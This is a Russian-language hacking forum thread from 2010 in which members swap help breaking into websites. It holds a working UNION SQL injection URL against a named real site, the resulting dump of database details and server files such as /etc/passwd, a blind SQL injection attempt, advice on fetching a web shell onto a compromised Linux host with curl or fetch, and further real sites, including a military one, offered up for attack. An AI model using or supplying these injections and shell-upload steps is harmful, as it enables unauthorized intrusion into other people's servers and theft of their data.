HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 22.03.2010, 17:46
CyberHunter
Постоянный
Регистрация: 06.01.2010
Сообщений: 785
С нами: 8602291

Репутация: 256


По умолчанию

Pashkela
Каким способом ты раскрутил эту инъекцию? Как это делать без подбора полей и т.д.? Мб есть линк на статью?

В этой скуле если искать количество полей через group by, то это 12, а если union select, то при вводе 12 появляется ошибка. Почему?
 
Ответить с цитированием

  #2  
Старый 22.03.2010, 23:19
daniel_1024
Участник форума
Регистрация: 15.07.2009
Сообщений: 158
С нами: 8854580

Репутация: 34
По умолчанию

ось линукс, имеется возможность выполнять системные команды. как закачать полноценный шелл? get и wget не работают...
 
Ответить с цитированием

  #3  
Старый 22.03.2010, 23:26
Gorev
Познавший АНТИЧАТ
Регистрация: 31.03.2006
Сообщений: 1,167
С нами: 10585560

Репутация: 1550


По умолчанию

curl, fetch
 
Ответить с цитированием

  #4  
Старый 22.03.2010, 23:55
scorpic393
Banned
Регистрация: 05.02.2010
Сообщений: 70
С нами: 8559689

Репутация: 5
По умолчанию

тренируюсь с блинд скулями в собсвенном скрипте.
1. нет нормальных статей по блинду
2. есть табла user с полем login и password

вот пример инжекта моего

http://localhost/index.php?id=1&act=news' and substring(version(),1,1)29=5+--+

помогите плиз состваить запроc на проверку 1-ого симвала логина или пасса. и дайти плиз ссылки на хорошие статьи
 
Ответить с цитированием

  #5  
Старый 22.03.2010, 23:59
Life7
Banned
Регистрация: 14.06.2009
Сообщений: 256
С нами: 8899013

Репутация: 105
По умолчанию

http://extensis.cnrc.navy.mil/index.htm?content=http://google.com

Помогите довести до ума
 
Ответить с цитированием

  #6  
Старый 23.03.2010, 00:04
scorpic393
Banned
Регистрация: 05.02.2010
Сообщений: 70
С нами: 8559689

Репутация: 5
По умолчанию

Цитата:
Сообщение от Life7  
http://extensis.cnrc.navy.mil/index.htm?content=http://google.com

Помогите довести до ума
вообщето это не инклуд а iframe

http://extensis.cnrc.navy.mil/index.htm?content=http://google.com'

так что доводить нечего...
 
Ответить с цитированием

  #7  
Старый 23.03.2010, 02:30
Pashkela
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
С нами: 9649706

Репутация: 3338


По умолчанию

Код:
http://www.celestron.com/skyscout/skyscout_page.php?page_name=skyscout_features&page_id=1+union+select+1,2,3,version(),5,6,7,8,9,10+limit+1,1
 
Ответить с цитированием

  #8  
Старый 23.03.2010, 20:06
Pashkela
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
С нами: 9649706

Репутация: 3338


По умолчанию

Код:
database(): od4
@@basedir: /usr/
@@tmpdir: /tmp/
version(): 5.0.77
user(): root@localhost           <====
@@datadir: /var/lib/mysql/
@@version_compile_os: redhat-linux-gnu

-----------------------------------------
File [/etc/passwd] size: - 1759 bytes
-----------------------------------------

 root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/

...
-----------------------------------------
File [/etc/httpd/conf/httpd.conf] size: - 39844 bytes
-----------------------------------------

 #
# This is the main Apache server configuration file.  It contains the
# configuration directives that give the server its instructions.
# See <URL:http://httpd.apache.org/docs/2.2/> for detailed inf

...
 
Ответить с цитированием

  #9  
Старый 23.03.2010, 21:23
Pashkela
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
С нами: 9649706

Репутация: 3338


По умолчанию

вроде второй раз уже спрашиваешь, дай живой пример, какая тебе разница, если сам раскрутить не можешь, и телепатировать не придется
 
Ответить с цитированием

  #10  
Старый 24.03.2010, 00:18
[Feldmarschall]
Участник форума
Регистрация: 06.01.2010
Сообщений: 136
С нами: 8603287

Репутация: 87
По умолчанию

Pashkela вот один сайт.. прост не хотел палить ну другова варианта нет
_http://piskurek.camping-profi.de/index.php?cat=c189_Kabeltrommeln-und-Stromeinspeisung.html&page=-2%27
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.